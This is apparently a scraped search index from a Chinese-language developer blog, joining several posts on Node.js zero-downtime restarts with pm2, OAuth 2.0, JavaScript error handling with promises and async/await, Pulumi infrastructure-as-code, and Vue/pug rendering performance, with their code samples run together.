require(\"express\")const app = express()const mongoose = require(\"mongoose\")mongoose.connect('mongodb://localhost:27017/test', { useNewUrlParser: true,});const db = mongoose.connectionconst Cat = mongoose.model('Cat', { name: String });app.use(express.static(__dirname + \"/public\"))app.post(\"/test\", async (req, res) => { let counter = 0; for (let i = 0; i < 10000; i++) { counter+=1 } let startTime = new Date(); while (new Date().getTime() - startTime.getTime() < 2000) { } let allCats = await Cat.find({}, {name: 1}); res.json({ counter, allCats })})app.get(\"/db-close\", async (req, res) => { db.close(() => { res.send(\"db close\") })})const server = http.createServer(app)server.listen(3000, function() { console.log(\"server is up\")})process.on('SIGINT', () => { console.log(\"start closing\") db.close(() => { server.close(() => { // Stop after 10 secs setTimeout(() => { process.exit(); }, 10000); }); })}); 1234567891011121314151617// b.jsconst axios = require(\"axios\")async function main () { for (let i = 0; i < 1000; i++ ) { let data = await axios.post(\"http://localhost:3000/test\", {}, { timeout: 1 * 10000 }).then((response) => { return response.data }) console.log(i) console.log(data) } console.log(\"done\")}main()","link":"/2020/05/11/nodejs-zero-downtime-next/"},{"title":"Node.js 如何實現 zero downtime 更新呢?","text":"前言工作久了,一定都會面臨到一個問題就是 Zero Downtime 更新 (零停機更新)簡單來說就是『我希望更新的時候,不會影響正在使用的客戶』這邊就紀錄如何去實現這需求 相信寫過 node.js 的人會知道在啟用伺服器的時候,如果重新修改程式要更新的時候,其實正在使用的客戶也會跟著斷線那究竟要如何達到 zero downtime 更新呢?我們來看看以下的 Cases,左邊是模擬伺服器,右邊則是模擬客戶端 Case 1在左邊可以看到,如果我要更新 a.js 的程式內容我必須要先按下 Ctrl + C 把 node.js 取消掉然後重新下 node a.js 才可以但取消的同時,右邊的客戶就會中斷,沒辦法繼續發送請求 Case 2接下來就有一個 pm2 誕生的時候pm2 是一個管理 Node.js process 的工具,很多 production 環境也有在使用這一套當 Node.js 出現錯誤的時候,pm2 會幫忙重啟 Node.js但如果沒用正確,依舊會導致客戶端中斷連線的可能性下面使用 pm2 把 Node.js 啟動,我使用 pm2 start a.js然後我要重新啟動 a.js 的時候,我使用了 pm2 restart a.js,依舊造成客戶斷線 Case 3-1接著就有透過 cluster 去解決這問題這個東西出現是為了解決 Node.js 沒辦法最大化利用電腦多核心的缺點假設電腦有四核心,透過 cluster 可以一次啟用 4 個 Node.js 的 process能接受的 request 量就會比只有 1 個 process 的時候還要更多在 pm2 裡面,是透過 pm2 start a.js -i max 的方式啟用最大核心數然後當程式修改的時候,可以透過 pm2 reload a.js 讓程式重起,但不會影響客戶斷線 Case 3-2但!就是這個但是萬一我們只有一個核心,也就是說只有一個 Node.js process 的時候我們去重新啟用的時候,依舊會發生讓客戶斷線的問題 中場補充要繼續往以下的 case 之前,要介紹在 http module 中有一個 close 的 function當呼叫 server.close(() => {console.log("server is closed")})node.js server 會等到請求處理完事件後才會關閉 中場補充 case 01先來看第一個 case,左邊是我們的 server,右邊是我們客戶端我在 server 添加一個路由 /close,當 match 這個 get close 的時候,就會呼叫 close 流程是這樣當客戶呼叫 server 一個要等待兩秒的 api 時 (模擬高密集 CPU)我另外去呼叫 /close 是不會把目前使用者的請求中斷的而是會等到使用者 response 拿到後,才會關閉 server關閉後左邊 server 就會觸發 callback 印出 server is closed 中場補充 case 02剛剛的 case 是模擬高密集型 CPU接下來就會有一個疑問,network 的也會等到請求結束後才會關閉嗎?答案是:沒錯! 左邊是我們的 server,中間是我們客戶端,右邊是另一個 api server 流程是這樣當客戶呼叫 server 時,此台 server 去呼叫 api server這台 api server 也是要處理兩秒的時間然後另外去呼叫 /close 是不會把目前使用者的請求中斷的而是會等到使用者 response 拿到後,才會關閉 server關閉後左邊 server 就會觸發 callback 印出 server is closed Case 4pm2 cluster 之後就接著出現 graceful relaod透過 pm2 官網的教程把下列這段程式碼加到程式裡面,詳細針對 SIGINT 的說明可以看 pm2 的 explanation-signals-flow然後再利用剛剛中場講到的 server.close() 的特性去等待處理完畢但總會有處理太久的狀況,此時也只能忍痛強制用 process.exit() 跳開此 case 就是一邊修改 server,修改完成後就直接更新可以看到右邊客戶端,拿到的結果也會跟著變,但卻不會造成客戶斷線!透過這種方式可以接近 zero downtime 更新123456789process.on('SIGINT', () => { console.log(\"start closing\") server.close(() => { // Stop after 10 secs setTimeout(() => { process.exit(); }, 10000); });}); Case 5但為何說接近呢?如果你的 Node.js 請求處理的時間,大於 setTimeout 的 10 秒的話,還是會造成客戶斷線但如果請求處理時間,全部都會遠小於這個時間,那就是真的 zero downtime 更新了那為了不要讓影片太久,我會把所有時間都調短請求處理: 5s客戶 timeout: 6s強迫程式關閉: 2s (setTimeout 的時間)pm2 option –kill-timeout: 3s這邊要特別記住,pm2 啟用的時候的 kill timeout 也需要設置 (不設置的話預設是 1.6s)如果不設置,最終還是以 pm2 kill timeout 為主,如果強迫程式關閉的時間,大於這個 kill timeout那麼強迫程式關閉的時間就形同虛設,因為最終還是會吃 kill timeout 的時間讓我們來看看以下的例子吧!(這個例子就沒有特別設置 kill timeout 而是用預設的) 後記影片中的程式碼,放在附錄可以自行去測試但記得要安裝 pm2 才可以使用 要達到 zero downtime 不是一件很簡單的事情還有的是透過 load balancer 後面接了兩台機器然後每一台機器輪流更新,這樣也能達到 zero downtime 更新 附錄 - 程式碼12345678910111213141516171819202122232425262728293031323334353637// a.jsconst http = require(\"http\");const express = require(\"express\")const app = express()app.use(express.static(__dirname + \"/public\"))app.post(\"/test\", (req, res) => { let counter = 0; for (let i = 0; i < 100000000; i++) { counter+=1 } res.json({ counter })})const server = http.createServer(app)server.listen(3000, function() { console.log(\"server is up\")})process.on('SIGINT', () => { console.log(\"start closing\") server.close(() => { // Stop after 10 secs setTimeout(() => { process.exit(); }, 10000); }); // Force close server after 15 secs setTimeout((e) => { console.log('Forcing server close !!!', e); process.exit(1); }, 15000);}); 1234567891011121314151617// b.jsconst axios = require(\"axios\")async function main () { for (let i = 0; i < 5000; i++ ) { let data = await axios.post(\"http://localhost:3000/test\", {}, { timeout: 10 * 1000 }).then((response) => { return response.data }) console.log(i) console.log(data) } console.log(\"done\")}main()","link":"/2020/03/09/nodejs-zero-downtime/"},{"title":"OAuth 2.0 介紹以及實作","text":"前言這篇文章會注重在 OAuth 2.0 的介紹OAuth 1.0 和 2.0 的差別其實蠻大的, 對角色的定義也有所不同OAuth 1.0 和 OAuth 2.0 的差別詳細可以看這篇文章 OAuth 1.0,1.0a 和 2.0 的之间的区别有哪些? 基本上 2.0 就是對 1.0 的角色重新定義簡化 1.0 的複雜流程, 以及強化 1.0 面臨到的安全問題但本質上的目的都是一樣, 並無改變 角色介紹我們先定義會參與 OAuth 2.0 流程中的所有角色為了不讓 OAuth 2.0 定義偏掉, 所以這邊部分名詞定義皆會用原文去表示先給予大前提, Client 代表的不是使用者, 而是應用程式 (購物網站等等) Resource Owner - 授權 Client 去取得 Resource Server 裡面存放的 Protected Resource, 也就是使用者本身 (end-user, 也稱終端使用者) Resource Server - 存放 Protected Resource 的伺服器,可以接受來自 Client 透過 Access Token 發出的請求。 Client - 代表 Resource Owner 去存取 Protected Resource 的應用程式. 像是各大購物商城的網站或是 APP Authorization Server - 認證過 Resource Owner 並且 Resource Owner 許可之後,核發 Access Token 的伺服器 Access Token - 獨一無二的識別號碼, 被 Client 帶在 Request 上, 並到 Resource Server 取得 Protected Resource Resource Owner 和 Authorization Server 可以是同個伺服器, 也可以是不同伺服器 流程介紹那我們就先用上面的名詞和角色來看看一個流程 Jack (Resource Owner) 最近上傳了去度假的照片 (Protected Resource) 到 photos.example.net (Resource Server)Jack 希望可以利用 printer.photos.net (client) 去列印上傳的照片 要取得照片, 勢必需要使用 Jack 的帳號密碼去登入但 Jack 不希望讓 printer.example.com 知道帳號密碼 於是 printer.example.com (client) 為了提供更好的服務去向 photos.example.net (Resource Server) 申請 OAuth 的服務photos.example.net (Resource Server) 提供 photos.example.net (Authorization Server) 給 client 這邊 Resource Server 和 Authorization 是同一台喔 當 printer.example.com (client) 要求 Jack 登入時會把 Jack 導到 photos.example.net (Authorization Server) 去進行登入 當 Jack 登入成功, 並按下 Approve 時photos.example.net (Authorization Server) 會核發一組暫時的 Grant Code並把 Jack 導回到 printer.photos.net (client) 此時 printer.example.com (client) 透過 Grant Code 向 photos.example.net (Authorization Server) 取得 Access Tokenprinter.example.com 就可以存取 Jack 在 photos.example.net (Resource Server) 上的照片 (Protected Resource) Grant Code 可以想像是去銀行排隊的時候拿的號碼牌拿著號碼牌到相對應的櫃檯, 櫃檯會給予服務, 同時號碼牌就也失去了效用此櫃檯給予的服務可以對應到 OAuth 的流程中, 也就是核發 Access Token 上述流程畫成圖的話, 如下 上面的流程就是 OAuth 2.0 的大致流程在核發 Grant Code 以及後續的 Access Token是屬於 OAuth 2.0 Grant Flows 的四項其中之一的 Authorization Code Grant Flow 接下來的實作也會以此 Grant Flows 去實作其他 Grant Flows 可以參考四種內建授權流程 簡易實作這裡就借用上一個 CAS 專案來進行修改 XD流程有了準備可以開始實作 OAuth 2.0, 但在實作前要先定義出目標和角色專案在 Gituhb 可以下載 OAuth Example 實作目標以及各需求角色的目的以使用者角度來說 (使用者是不會知道什麼是 OAuth) 『我希望在列印圖片的網站, 可以列印我上傳在照片雲端管理服務的照片 但我不想在列印圖片的網站進行登入並讓它知道我的帳號密碼』 以列印圖片的網站開發者來說 『我希望當使用者透過 OAuth 登入後, 我可以去取得使用者上傳在 OAuth 提供商的照片』 以 OAuth 提供商 (照片雲端管理服務) 來說 『我能夠提供使用者進行上傳照片, 且可開放 OAuth 登入讓第三方應用程式讀取使用者的照片』 各角色以及專案詳細資料各需求角色對應到 OAuth 2.0 角色如下 client - 列印圖片的網站 resource owner - 使用者本身 resource server - 使用者上傳照片的地方 (OAuth 提供商) authorization server - OAuth 提供商的授權伺服器 protected resource - OAuth 提供商裡面的使用者信箱和照片 接下來專案會分成兩個資料夾去進行程式開發 client → http://printer.example.com:4000 用 node + vue 建立列印(可讀取)圖片的網站, 可以點選使用 OAuth 登入 resources_server → http://photo.example.net:3000 用 node + vue 建立的網站, 使用可以上傳照片, 並讓 client 透過 Access Token 存取使用者上傳的照片 建立登入頁面, 讓 resource owner 登入, 並核發 Grant Code 給第三方應用程式 再讓第三方應用程式拿著 Grant Code 來取得 Access Token 啟用方式啟用流程如下, 特別要注意的是要設定 /etc/hosts 哦如果都在同一個 localhost 下面, 這樣 cookie 會錯亂 npm install or yarn npm run build 這裡只有一個 webpack 檔案, 會去 build 兩個不同網站的 vue source code node client/server.js node resource_server/server.js 設置 /etc/hosts 12127.0.0.1 printer.example.com127.0.0.1 photo.example.net 使用流程啟用成功後, 使用流程如下 打開 http://printer.example.com:4000 並點選 Go OAuth 此時會被跳轉到 http://photo.example.net:3000 進行登入 (username: 123, password: 123) 成功後會被跳回去 http://printer.example.com:4000 後, 就可以瀏覽相片 (但此時沒有) 另外開啟分頁打開 http://photo.example.net:3000/原本是需要登入的, 但因為剛剛 OAuth 的時候已經登入過, 所以可以直接進入到上傳圖片的頁面 開始上傳圖片, 出現上傳成功時, 回去 http://printer.example.com:4000 按下重整就可以看到剛剛上傳的圖片 影片 Demo 後記這邊就不詳細解釋程式的流程了, 因為發現寫一寫太多 XD畫面就留給他醜醜的 (有時間再回來美化 XD其他有興趣的再自己去看程式囉","link":"/2020/04/27/oauth-implement/"},{"title":"callback, promise, async/await 使用方式教學以及介紹 Part II (Error Handling 介紹)","text":"上一篇主要是介紹如何使用這篇會介紹該如何去在每一種使用方式之中去做 Error Handling callback相信各位有在使用別人第三方套件或是 Node.js 原生的 Library 都會發現一件事情那就是 callback 第一個參數都會是 error雖然這看似是一個不成文的規定,但仔細想想把 error 放在第一個是非常合理的假設當 callback 參數回傳越來越多的時候,總不可能把 error 放在最後一個去處理因為你會始終不知道哪一個會是 error (就算寫註解也會讀到瘋掉)試想一下這幾段 code 就可以理解了 123456789101112131415function test(cb) { // 當 function 成功後 cb(successful_data_1, successful_data_2)}test((successful_data_1, successful_data_2) => { // 開心地處理兩個回傳的資料})// --- 分隔線 function test(cb) { // 當 function 失敗後 cb(error)}test((error) => { // 咦? 第一個到底是 error 還是我原本的 successful_data_1}) 當遇到上面的狀況就會變得非常難判斷,但如果我整體改寫成這樣就會變得輕而易舉 12345678910111213141516171819function test(cb) { // 當 function 成功後 cb(null, successful_data_1, successful_data_2)}test((error, successful_data_1, successful_data_2) => { if (error != null) { } // 開心地處理兩個回傳的資料})// --- 分隔線 function test(cb) { // 當 function 失敗後 cb(error)}test((error, successful_data_1, successful_data_2) => { if (error != null) { // 開心地處理 error, 於是 data_1 以及 data_2 就完全不用管他們了 }}) 當然有人會說『啊我就把所有參數丟到第一個當 Object 全部存起來,第二個就放 Error 也是一種方式啊』這樣講的話當然沒錯,但如果把所有東西都放在第一個 Object 裡面這樣參數就會有分類,使用問題也只是會徒增而已再加上這算是一種共識了,所以跟潛規則走會比較方便一點 promisePromise 處理 error 的方式就比較特別了,我們先來看看一般 promise 出錯的時候是怎麼抓取的 123456function test() { return new Promise((res, rej) => { rej(\"this is error\"); })}test().then((data) => {console.log(\"Get \" + data)}).catch((error) => {console.log(\"handle! \" + error)}); // this is error 上面為一般 promise 用 rej 的方式,外面用 catch 去抓住這個錯誤但凡事要考慮例外,萬一有一個 error 是你沒辦法 rej 到的話,那該要怎麼抓取? 123456function test() { return new Promise((res, rej) => { oqiwje() // non-exist function })}test().then((data) => {console.log(\"Get \" + data)}).catch((error) => {console.log(\"handle! \" + error)}); // this is error 會發現當在 Promise 裡面出錯的話,外面的 catch 也是能抓到的其原因是因為 Promise 是有被一層內部的 try-catch 給包住且在內部的 catch 那一邊套用了預設地 rej function所以外面才抓得到 那如果放在 Promise 外面的話呢?? 123456function test() { oqiwje() // non-exist function return new Promise((res, rej) => { })}test().then((data) => {console.log(\"Get \" + data)}).catch((error) => {console.log(\"handle! \" + error)}); 咦!? 竟然抓不到,error 直接噴出來!但這也不意外,因為出了 Promise 到了外面那就是要透過自己去寫 try-catch 才能抓取到這個錯誤 12345678910function test() { oqiwje() // non-exist function return new Promise((res, rej) => { })}try { test().then((data) => {console.log(\"Get \" + data)}).catch((error) => {console.log(\"handle! \" + error)});} catch (error) { console.log(\"handled by outer try-catch\");} 還有一種 Handle 方式是寫在內層 function 裡面 123456function test() { return new Promise((res, rej) => { oqiwje() // non-exist function }).catch(error => \"handle by inner function\")}test().then((data) => {console.log(\"Get \" + data)}).catch((error) => {console.log(\"handle! \" + error)}); // Get handle by inner function 那因為在 inner function 裡面被抓取到,並且回傳還記得 promise chain 中,如果 return 的話是會到下一個 then 去的所以這邊會被外面的 then 給抓到,而不是 catch,這邊要注意 Promise 的 Error Handling 只要能確保能執行到 rej 就沒什麼問題了然而在 Promise 之前用 try-catch 包起來或程式都丟到 Promise 裡面等他報錯丟出來也可以處理到 async/awaitawait catch error 的方式可以想成一般 try-catch 的方式 12345678910111213function test() { return new Promise((res, rej) => { rej(\"QQQ\"); });}async function main() { try { let result = await test() } catch (error) { console.log(\"Handled by main\") }}main() 而要特別注意的是,如果把 catch 寫在外面的 await 那裡的話會造成程式不會往最外層的 catch 前進 123456789101112131415function test() { return new Promise((res, rej) => { rej(\"QQQ\"); });}async function main() { try { let result = await test().catch(() => {console.log(\"Handled by await\")}) // 因為有正確被 handle 到,所以程式是會繼續下去執行的 console.log(\"Still going\") } catch (error) { console.log(\"Handled by main\") }}main() 但如果透過在 catch function 裡面把 error 再次 throw 出來的話,是可以成功 throw 出來 123456789101112131415161718function test() { return new Promise((res, rej) => { rej(\"QQQ\"); });}async function main() { try { let result = await test().catch(() => { console.log(\"Handled by await\") throw new Error(\"QQQQ\") }) // 因為在上面做 throw error,所以程式不會繼續走下去 console.log(\"Still going\") } catch (error) { console.log(\"Handled by main\") }}main() 千萬要注意 return 和 throw 的方式會帶來不一樣的結果使用 return 就跟 Promise 的 reject 的狀態下 return 是一樣的他會回傳到下一個 then 裡面 (也就是 resolved 的狀態) 12345678910111213141516171819function test() { return new Promise((res, rej) => { rej(\"QQQ\"); });}async function main() { try { let result = await test().catch(() => { console.log(\"Handled by await\") return new Error(\"QQQQ\") }) // 因為在上面做 return, 相當於是把結果回傳到 result 裡面了 console.log(result); // Error: QQQQ console.log(\"Still going\") } catch (error) { console.log(\"Handled by main\") }}main() 而個人比較不建議的寫法是在 await 那一層做 Error Handling而是盡量再底層那裡做 throw error 到最外面的 try-catch 去接原因是這跟 Design Pattern 有關係最外層的 main 可以想像是 Controller,而 test 可以想像成 Facade在裡面得程式才是真正的商業邏輯從下面程式來解讀的話,回家主要目的是要做功課那做功課一定會有流程,像是先吃飯,洗澡,最後在讀書這樣的順序但要怎麼吃飯洗澡讀書是要寫在每一個該做的項目的最裡面,而不會寫在順序那一層這樣程式撰寫上會比較乾淨一點 12345678910111213141516171819202122232425262728293031323334function eatFirst() { return new Promise((res, rej) => { setTimeout(() => { res(\"Error\"); }, 1000); });}function getBook() { return new Promise((res, rej) => { setTimeout(() => { res(\"Error\"); }, 1000); });}function writeIt() { return new Promise((res, rej) => { setTimeout(() => { rej(\"Books are ate by dogs!!!\"); }, 1000); });}async function doHomeWork() { await eatFirst() await getBook() await writeIt()}async function main() { try { let result = await doHomeWork(); } catch (error) { console.log(\"Handled by main\") }}main(); 後記這次主要介紹 Error Handling 的方式也加了一些個人建議撰寫的方法,如果有其他想法歡迎大家來討論!","link":"/2019/05/02/promise-2/"},{"title":"Pulumi Service 與 File System Backend 差異","text":"前言在前一篇 Pulumi 導入教學介紹#state-and-backend 中有提到不同 Backend 的差異。 但每一個不同的 Backend 有各自的優缺點,當然最好的是選用 Pulumi Service 他們本加自己的 Backend,詳細優點說明可以看 Deciding On a Backend 的說明。 這篇就是實際來操作直接使用 pulumi host service 跟用 file system 的差異去驗證 Pulumi 說明的是否正確,不過有些點我沒有頭緒驗證,所以只能驗證一些能重現的情境 XD Concurrent通常在執行 pulumi up 的時候,有可能會出現同時有兩個人在運行,我們就來直接看實際差異吧! 以下是用 tmux synchronize-panes 去做同時操作,所以會有左右各一個畫面出現。 S3 Bucket當我同時執行 pulumi up,Pulumi 會先嘗試去建立 lock file,會發現是互相鎖起來的。 原因是在 Update 的程式碼裡面,有一段呼叫 Lock 程式碼。 這個 Method 在建立 Lock 的同時,前後都會檢查一次 Lock,所以才互相撞到。 Pulumi Service當我改用 pulumi 時會發現,有一邊被 reject 掉,另一邊接著就會成功執行,個人猜測應該類似用 increment ID + unique key 去避免 concurrent request。 另外還有跟 Concurrent 無關的優點,是直接用 Pulumi Serviec 就可以不需要設定 PULUMI_CONFIG_PASSPHRASE or PULUMI_CONFIG_PASSPHRASE_FILE 算是蠻方便的。 後記很可惜目前只能想到這 Case 去驗證,之後等到實作遇到更多的案例再來分享在這了! .emgithub-container code.hljs { color: unset; background: unset; line-height: 18px; }","link":"/2022/03/13/pulumi-tutor-2/"},{"title":"前後端尚未分離前導致的效能問題 (nodejs + pug + vue)","text":"前言在 vue 剛出來那時候, 還不盛行前後端分離的架構在那時某些專案選擇了用 nodejs + pug + vue 混合式的架構 在 node.js render 的時候, 給予一個 template然後在此 template 去寫 vue 的元件來達成這個混合架構但這種混合架構在使用 vue 的 props 去賦值時, 可能會出現很嚴重的效能問題 如何重現通常在使用 nodejs + pug render 的情況下, template 內容大致如下 123div.container div.content p this is message 加了 vue 之後大致上會變成這樣 12div.container content-component(message="") 這裡隱藏了一個會影響效能的 Bug但我們先來說說, 加上了 pug 的情況下, 是如何運行首先, 透過 nodejs + pug 會先去渲染成 html這個 html 就是在進入頁面的時候, 伺服器給予的所以上面的內容會變成如下 123<div class=\"container\"> <content-component message=\"this is message\"></content-component></div> 你的瀏覽器就會接收到以上的內容接著 vue 就會開始去 parse content-component但是當 message 的內容過大的時候, 就會導致 vue parse html 時間過長 實際案例這裡用一個例子舉例, 在後端我建構一個這樣的物件12345678910111213141516let obj = {}for (let i = 0; i < 200000; i++) { obj[i] = "qowiejqowiejr" obj[i+"www"] = "qowiejqowiejr" obj[i+"sss"] = "qowiejqowiejr" obj[i+"aaa"] = "qowiejqowiejr" obj[i+"ssssqwe"] = "qowiejqowiejr" obj[i+"qwrwwww"] = "qowiejqowiejr" obj[i+"qwrwsss"] = "qowiejqowiejr" obj[i+"qwrwaaa"] = "qowiejqowiejr" obj[i+"qwrwssssqwe"] = "qowiejqowiejr"}// 並在此 express route 去 render 出 pugapp.get('test', (req, res) => { res.render("index", {messge: JSON.stringify(obj)})}) 這裡可以看到當這個 props 給太大, 導致 html 的大小達到 89.6 MB 因為這裡太大無法顯示, 這裡用小一點的看一下從 Server 回傳的 HTML 如下所以當資料太大放在 props 的時候, 就會導致 html 大小越來越大 接著用 chrome 的 performance 去分析效能會看到 Scripting 就高達 14s 接著再往下看是哪些 Scripting 影響到要執行那麼久這裡就看到是 vue parse html 需要花上 14s, 才能 parse 完成也就是你要等超過 14s, 你才看得到 component 的內容 改善方法要改善這個效能問題, 可以透過不要在 pug 裡面直接用 props 的方式給予值改成在 mounted 或是其他 life cycle 情況下去取得值還會更快在 vue template 裡面就會變成這樣 123456789101112131415<script>import axios from "axios";export default { data () { return { message: "" } }, mounted() { axios.get("/test-get-data").then(response => { this.message = response.data }) }}</script> 在 pug 中就可以把 props 拿掉12div.container content-component 這樣解析成 html 就變成下面這樣, 就可以讓 HTML 大小變小123<div class=\"container\"> <content-component></content-component></div> 從這裡可以看到大小縮小, 後來用 mounted 取得資料是 53MB等於說我們讓 vue 少去 parse 這 53MB 的字串了 然後 Scripting 的時間直接變成剩下 873 ms 往後繼續看 parse html 只剩 2ms 後記以前 vue 1.0 剛出來的時候, 先暫時套用在某個專案上後來資料量大了才發現不能透過這樣 render 會導致 html 太大但現在大多都是前後端分離的架構, 所以會比較少遇到這個問題剛好最近在舊的專案上面遇到這個 Bug, 順帶紀錄一下","link":"/2020/08/22/pug-with-vuejs/"},{"title":"Pulumi 導入教學介紹","text":"前言這篇文章會寫一些 Pulumi 使用教學,以及如果是導入會先從什麼指令開始做比較適合,當然都是個人主觀意見,歡迎大家討論! 介紹Pulumi 是 Infrastructure as Code (IaC) 的一套管理工具,通常會開始用 IaC 的時間點,部分是已經有 Cloud Provider 在運行的情況,並且想用程式碼進行管理,畢竟一開始剛建立 Infrastructure 可能還是會選用 UI 建立會來得比較快速。 那通常 IaC 管理化會有什麼樣的好處呢? 版本控制,透過 code review 確保修改不會錯誤 不必依賴 UI,可建置 CI/CD 流程 複製新的環境時更為容易 (staging, production) 程式即文件,所有 Infrastructure 的建置都是程式碼,而程式碼本身就是文件的一種,可以透過這個去了解整體 Infrastructure 建置流程 而可能的問題則是 若不善用 IaC 工具區分環境,會導致程式碼混亂,staging & production 程式混在一起,變的難以理解 畢竟是用程式管理,對應的程式架構勢必需要規劃有彈性且可擴充的方式 簡單的操作 (改字串等等),會需要重新經過一大輪 CI/CD,相對會耗時,但這是要管理化的必要之惡 簡單介紹完後,接著的內容會圍繞在如何導入 Pulumi 去使用,而這篇會專注在 Pulumi 導入時要注意的一些點,以下範例都會用 Go 為主。 雖然我覺得 typescript 寫起來比較好寫,不過最近寫 Go 就順便用了 Stack在進入實際操作之前,先來介紹 Pulumi 中的 Stack 這個名詞。 每一個 Stack 都是獨立的設定環境,所有程式的結果都會紀錄在這個 Stack 上,也可以 Import 現有 Cloud Provider 狀態到這個 Stack 裡面,也就是說 Pulumi 是透過 Stack 去管理所有 Cloud Provider 資源的狀態。另外 Stack 名字基本上就想怎取都可以,官方給的建議類似是 dev staging production 等等,但也可以是 feature branch,單純就是一個名字而已。 而不同資源當然也可以用不同 Stack 去管理,舉例來說我們 AWS S3 有一個 bucket 叫做 test,然後裡面有三個 a b c 三個檔案,如果我們想用不同 Stack 管理可以有下面的組合。 以上面組合來說,Stack A 可以把 a 加到資源管理裡面,Stack B 則是 b c,是可以在不同 Stack 去管理。 而實際上在建立資源時,要留意有些 function 提供的參數中,存在一些需要填 name 的地方,這個 name 是給 Pulumi 用還是給 Cloud Provider 用,因為 Pulumi 為了管理資源狀態,會需要 unique id 去做辨識,待會用 import AWS route53 做範例解釋。 Import假設我們現在在 AWS route53 上面已經有存在一個 jackjack.com zone,但 Stack 是新的時候,該如何把這個資源納入到 Pulumi 去管理呢? 透過 pulumi import aws:route53/zone:Zone myjackzone zone_id 就可以了,但要注意在此指令中的 myjackzone 是 pulumi resource 的名稱,並不是 AWS route53 上面的任何名稱,接著當 import 完成後,可以試著直接打 pulumi up 會發現跳出的預覽改變,是刪除這筆 Zone。 原因是當你 import 後,Pulumi 會認定這筆資源現在是正確被使用的,但重新跑 pulumi up 之後,在程式碼之中,找不到任何有建立過這筆資源的程式碼的話,就會被認定為你是要刪除。所以跑完 import 後,會需要再把對應的程式碼給補上,這樣跑 pulumi up 的時候才不會出現刪除的預覽。 但要手動補上程式碼太蠢了,所以會發現其實跑完上面 import 指令後,會產生出一份程式碼,直接把這份程式碼放到專案裡面即可,或是用 pulumi import aws:route53/zone:Zone myjackzone zone_id -o {file_name} 也行,產生的程式碼如下。 1234567891011121314151617181920package mainimport ( \"github.com/pulumi/pulumi-aws/sdk/v4/go/aws/route53\" \"github.com/pulumi/pulumi/sdk/v3/go/pulumi\")func main() { pulumi.Run(func(ctx *pulumi.Context) error { _, err := route53.NewZone(ctx, \"myjackzone\", &route53.ZoneArgs{ Comment: pulumi.String(\"\"), ForceDestroy: pulumi.Bool(false), Name: pulumi.String(\"jackjack.com\"), }, pulumi.Protect(true)) if err != nil { return err } return nil })} 這個檔案用途其實蠻大的,因為文件上的一些參數描述跟你在畫面上看到的會不太一樣,就可以透過這個程式碼去了解目前 AWS 上畫面轉換成程式碼的話實際會長什麼樣子,不過還是建議要整理這份程式碼,否則若你資源檔太大,這個程式碼就越多。 Stack file完成匯入後,先來看看目前 Stack 儲存的資源狀態長什麼樣子 (只列出其中一小部分),這裡可以透過 pulumi stack export 匯出目前現有所有資源的狀態。 12345678910111213141516171819202122232425262728293031323334353637{ \"urn\": \"urn:pulumi:dev::pulumi-demo::aws:route53/zone:Zone::myjackzone\", \"custom\": true, \"id\": \"xxxx\", \"type\": \"aws:route53/zone:Zone\", \"inputs\": { \"__defaults\": [ \"comment\", \"forceDestroy\", \"name\" ], \"comment\": \"\", \"forceDestroy\": false, \"name\": \"jackjack.com\" }, \"outputs\": { \"arn\": \"arn:aws:route53:::hostedzone/xxxx\", \"comment\": \"\", \"delegationSetId\": \"\", \"id\": \"xxxx\", \"name\": \"jackjack.com\", \"nameServers\": [ \"ns-1xxx\", \"ns-2xxx\", \"ns-3xxx\", \"ns-4xxx\" ], \"tags\": {}, \"tagsAll\": {}, \"vpcs\": [], \"zoneId\": \"xxxx\" }, \"parent\": \"urn:pulumi:dev::pulumi-demo::pulumi:pulumi:Stack::pulumi-demo-dev\", \"protect\": true, \"provider\": \"urn:pulumi:dev::pulumi-demo::pulumi:providers:aws::default_4_37_1::xxxx\", \"sequenceNumber\": 1} 可以發現有一個 urn 儲存有 myjackzone 這個字眼,所以其實可以對應到這個名稱是資源管理用的名稱,再對回去原本程式碼,就會發現 jackjack.com 以及 myjackzone 的意義是不一樣。 12345route53.NewZone(ctx, \"myjackzone\", &route53.ZoneArgs{ Comment: pulumi.String(\"\"), ForceDestroy: pulumi.Bool(false), Name: pulumi.String(\"jackjack.com\"), }, pulumi.Protect(true)) Refresh那通常 import 之後,若有人是手動在 Cloud Provider 上面做更動的話,要把這個更動同步到 Stack 裡面,只需要用 pulumi refresh 去同步即可,不過同步完,因為程式碼會遺漏缺少的部分,所以會需要補上對應的程式碼。 State and Backend另外 Stack file 儲存的位置會根據你設定的 backend url 而有所不一樣,舉例來說可以用 pulumi service 或是 aws s3 去管理這個 stack file,所以在一開始建議先想好要用什麼 Backend 去管理所有 Stack file,又或是分開管理,就依照不同需求去處理。 而當要做切換不同 Backend 的時候,只需要用 pulumi login ${backend-url} 切換即可,其他部分可以參考 State and Backends。 Graph另外提到一下,pulumi 有支援把整個 infra 的東西會出 pulumi stack graph {graph_file_name},檔案是 DOT 格式,接著就看要用什麼把圖話出來,這邊提供一個隨便找到的工具 GraphvizOnline。 接著比較值得一提的是 pulumi service 提供的圖表蠻好看的,以下就是 https://api.pulumi.com 提供的圖表。 不過要注意,上面這張圖是沒有 parent 的,所以在建立資源時,如果想讓圖表比較好看,可以在 parent 多加資源加上,就可以變這樣。 Resource file接著要繼續講 Import Resource 的部分,當然 pulumi 也有提供可以直接 import 整個資源檔,但必須要自己製作,整體格式如下。 1234567{ \"resources\": [{ \"type\": \"aws:route53/zone:Zone\", \"name\": \"myZone\", \"id\": \"Z1D633PJN98FT9\" }]} 接著透過 pulumi import -f filename.json,就可以完成匯入,其他詳細介紹可以直接看官網Bulk Import Operations Multiple Regions當然有些服務不太可能只存在在一個 region,勢必會出現多個 region 的存在,那麼要如何 import 多個 region 呢?只需要填入 nameTable 以及 provider 的 key-value 即可完成,整體 json 檔案如下。 123456789101112{ \"nameTable\": { \"us-east-1\": \"urn:pulumi:xxxxx::pulumi:providers:aws::xxxxx\" }, \"resources\": [ { \"type\": \"aws:acm/certificate:Certificate\", \"name\": \"jack.hi\", \"id\": \"xxxxx\", \"provider\": \"us-east-1\" },} 那麼要如何獲得 nameTable 裡面 urn 的值呢? 首先必須先程式建立一個 Provider,程式碼很單純,以 us-east-1 來說,只需要以下這樣即可。 123aws.NewProvider(ctx, \"useast-1\", &aws.ProviderArgs{ Region: pulumi.String(\"us-east-1\"),}) 接著取得 urn 有兩種方式 pulumi stack export 取得此 provider urn pulumi up 建立的時候,會出現此 resource 的 urn 直接複製即可 接著就可以把 urn 的值回填,其他參數可以參考 pulumi import 的文件。 Create Resource呼叫 API 建立資源的部分都蠻單純的,不同資源建立的用法都在官方文件上。 